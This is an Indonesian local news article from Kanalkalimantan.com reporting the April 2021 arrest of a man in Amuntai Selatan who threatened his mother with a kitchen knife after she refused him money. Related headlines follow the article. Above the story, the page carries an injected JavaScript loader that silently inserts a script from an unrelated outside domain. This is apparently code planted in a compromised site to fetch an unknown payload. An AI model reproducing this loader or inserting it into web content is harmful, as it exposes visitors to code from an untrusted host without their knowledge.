(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Entah apa yang merasuki Rusdi (26), aksi pemuda asal Desa Telaga Sari RT 01, Kecamatan Amuntai Selatan, Kabupaten Hulu Sungai Utara (HSU) yang nekat mengancam ibu kandungnya dengan pisau.
Alhasil atas perbuatannya tersebut, Rusdi akhirnya ditangkap anggota Polsek Amuntai Selatan, berdasarkan laporan ibu kandungnya bernama Siti Rusnah (53).
Kapolres HSU AKBP Afri Darmawan, SIK MH melalui Kapolsek Amuntai Selatan Iptu Yudi Ahmad Komarudin, kepada Kanalkalimantan.com, Kamis (15/4/2021) membenarkan, adanya laporan terkait kasus pengancaman dengan menggunakan sajam yang terjadi di Desa Telaga Sari Kecamatan Amuntai Selatan, Rabu (14 /4/2021) sekitar pukul 10.00 Wita.
Baca juga: Resmi Dibuka, Ini Jam Operasional Jembatan Alalak 1
Berdasarkan hasil penyelidikan Unit Reskrim Polsek Amuntai Selatan pada Rabu (14/4/2021) sekitar pukul 13.30 Wita, pihaknya merespon laporan sang ibu dengan berhasil melakukan penangkapan terhadap pelaku.
Dari informasi yang disebutkan polisi, kejadian berawal ketika sang ibu berada di dapur sedang ingin berganti baju, tiba-tiba datang Rusdi yang meminta uang sebanyak Rp 300 ribu untuk membayar hutang.
“Namun dijawab ibunya tidak punya uang, pelaku lantas menyuruh ibunya untuk hutang kepada tetangganya, tetapi ibunya bilang bahwa tetangga tidak bisa menghutangi karena sering pinjam uang,” jelas Kapolsek Amuntai Selatan.
Baca juga: Bupati dan Wabup Banjar Ikuti Vidcon, Jokowi Minta Kerja Cepat Terarah
Merasa kecewa, lantas Rusdi mengambil sebilah pisau dapur dan langsung memecahlan lampu bolt yang berada di dapur.
Rusdi juga memecahkan piring-piring yang berada didapur sambil mengacungkan pisau tersebut ke arah ibunya berkata “aku bunuh sekali.”
Mendengar ucapan tersebut ibunya langsung lari ke sebelah rumah untuk meminta pertolongan tetangga.
Dari kejadian tersebut korban akhirnya melaporkan ulah sang anak itu ke Polsek Amuntai Selatan.
Baca juga: Arsip Lawas 5 SKPD “Pemprov Dati I Kalsel” Segera Dimusnahkan
Kepada polisi pelaku mengakui telah melakukan pengancaman kepada ibunya dengan menggunakan senjata tajam.
Akhirnya pelaku yang dapat dijerat Pasal 335 KUHP dan pasal 2 ayat (1) UU Darurat No.12 tahun 1951 tentang pengancaman,bersama barang bukti yakni sebilah pisau dapur dengan ukuran panjang 18 cm, digelandang ke Mapolsek Amuntai Selatan guna penyidikan lebih lanjut. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More
KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
This website uses cookies.